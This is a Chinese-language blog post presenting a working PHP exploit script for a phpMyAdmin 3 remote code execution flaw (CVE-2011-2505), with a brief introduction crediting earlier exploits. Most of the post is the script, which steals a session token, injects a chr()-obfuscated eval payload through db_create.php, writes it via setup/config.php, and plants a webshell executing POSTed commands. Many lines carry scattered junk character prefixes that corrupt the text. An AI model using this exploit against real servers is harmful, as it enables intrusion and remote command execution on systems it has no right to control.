phpadmin3 remote code execute php版本exploit

admin

最近在家做专职奶爸，不谙圈内事很多months了，博客也无更新。

+ \* I8 e0 r. t# R昨夜带孩子整夜未眠，看到黑哥在php security群里关于phpmyadmin3漏洞的讨论，虽然之前没看过漏洞代码，不过前段时间还是在微博上看到wofeiwo的exp了，不过据黑哥说有不鸡肋的利用方法，于是夜里翻代码出来研究了翻，写出了这个冷饭exp，由于我搞的晚了，之前已经很多人研究了写exp了，于是我这个属于炒冷饭，权当研究研究打发时间了。

首先赞下wofeiwo的python版本的exp，再赞下wofeiwo跟superhei的钻研精神，学习的榜样啊。不过之前那个exp利用起来是有一些限制的：
一是session.auto_start = 1；
' ?0 z, y9 Y* s二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
当然还有第三点大家都不可以逾越的鸿沟：config目录存在且可写。

" h/ ?8 S+ {( J在群里看了黑哥的发言后，再看了下代码，发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。

于是写了这个php版本的exp，代码如下：

/ D  @" K4 m3 Z0 M" r+ }#!/usr/bin/php
6 M% A4 w  ]5 Y& x* ]9 C<?php
8 S" p; e! s/ }1 s  \4 b+ oprint_r('
. E4 l( Q6 F  D1 L1 `6 [. _3 y+---------------------------------------------------------------------------+
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
% j, C) Q- r  _+ H" R% g3 d. K& }/ q' Fby oldjun(www.oldjun.com)
- [1 ?: s" C0 Q9 L! Y9 G1 y/ ^welcome to www.t00ls.net
mail: oldjun@gmail.com
, t4 l0 H  M+ [Assigned CVE id: CVE-2011-2505
+---------------------------------------------------------------------------+
');

/**
9 _- [( }: ~* @# N. t * working when the directory:"config" exists and is writeable.
  `. @2 }+ t% M; b  ]. E**/
' t: Y' _$ o6 W+ x' r, h5 L: d0 \
if ($argc < 3) {
& d4 P% J. `. x( A    print_r('
+---------------------------------------------------------------------------+
; f9 T6 H% |% k6 s: xUsage: php '.$argv[0].' host path
host:      target server (ip/hostname)
path:      path to pma3
Example:
6 B$ N1 x3 X" I/ |# k* M* lphp '.$argv[0].' localhost /pma/
+---------------------------------------------------------------------------+
/ A# S: C5 I, Y( u* b0 w  Y+ m');
    exit;
}
8 v$ R* c( A! N
# P' U" e; F& [8 ?' U$host = $argv[1];
0 q: g$ e+ j  ?$path = $argv[2];

7 S3 p' B: Y& h  ~- i: I4 [/**
* Try to determine if the directory:"config" exists
7 o% W8 y* a: A& w1 K**/
echo "[+] Try to determine if the directory:config exists....\n";
5 a3 |) \4 t# `) d$returnstr=php_request('config/');
5 p+ L+ ?4 Y4 G) [6 W7 jif(strpos($returnstr,'404')){
    exit("[-] Exploit Failed! The directory:config do not exists!\n");
  u, Y/ Y! q  \, V8 U- c  t- c4 h}
% `- k  ~' Y  ^6 J( g. p; p
7 f% @6 X+ C; |% ?9 q+ ~  `0 \/**
$ }& I* K$ s+ `7 V4 G. k * Try to get token and sessionid
**/
echo "[+] Try to get token and sessionid....\n";
$result=php_request('index.php');
+ D. Z5 |9 s1 N: k9 W5 Bpreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
5 Y* T( g$ l. T0 W+ d4 A6 c* H$token=$resp[3];
, o# ?: h8 x) j8 @& k- L$sessionid=$resp[1];
+ b! o' \2 P* pif($token && $sessionid){
    echo "[+] tokentoken\n";
  l! c/ B# H" o    echo "[+] Session IDsessionid\n";
" d& c/ H* R, p. C5 r' Q, f" [}else{
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
}
9 [  E" K6 S4 m6 {
# S. c" N9 Q2 L7 l" y6 a3 e0 P: \0 o  t/**
  c; A  s( {" P1 \! I% f * Try to insert shell into session
**/
7 p. |/ J2 v9 jecho "[+] Try to insert shell into session....\n";
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
" A/ X4 {& {  R1 D, ^3 @
, Q  r9 y* \) b8 ^! S4 ^/**
8 B# b0 T* l, [% y * Try to create webshell
% A# S4 P: M, J$ w; U7 b; s; F**/
8 e# l; c: A4 F' U  vecho "[+] Try to create webshell....\n";
3 h6 b! Z  K0 P9 ?- ]0 p! V: c: V) G: Hphp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
5 Y& D7 n& b( k$ p9 G" D% B/**
* Try to check if the webshell was created successfully
. J( `6 P  O1 |. Q9 R**/
echo "[+] Try to check if the webshell was created successfully....\n";
& a( H" |& i% o( j3 b/ z$ }$content=php_request('config/config.inc.php');
if(strpos($content,'t00ls')){
- R1 ~% }9 P, k' Q7 P    echo "[+] Congratulations! Expoilt successfully....\n";
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
* M: Q& ]/ i( O* U3 ]! f}else{
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
4 c# F3 g6 t5 }5 @! b% M}

function php_request($url,$data='',$cookie=''){
    global  $host, $path;
   
    $method=$data?'POST':'GET';
   
    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
0 A) y* C& i6 k! F    $packet .= "Accept: */*\r\n";
    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $packet .= "Host: $host\r\n";
" Y' U# ^% ?+ l- n5 U+ u0 K    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
) z) X. X) `/ I. Y    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
    $packet .= $cookie?"Cookie: $cookie\r\n":"";
    $packet .= "Connection: Close\r\n\r\n";
. b8 N; `4 o5 ~5 W2 @    $packet .= $data?$data:"";
6 [, j' C/ u, v- i* @* N% _% L7 X
    $fp = fsockopen(gethostbyname($host), 80);
1 M* c8 U; D" n    if (!$fp) {
    echo 'No response from '.$host; die;
    }
7 A7 _2 D" o, p0 J$ j    fputs($fp, $packet);

    $resp = '';
7 C* z( i) ]$ F! G: J  z6 n6 t
    while ($fp && !feof($fp))
1 z& g, l: m1 U" q$ k9 ~        $resp .= fread($fp, 1024);

0 r" T9 U* e3 _) t4 m  D    return $resp;
}
   
8 }0 c/ n6 b; S/ v4 k' C- U?>
.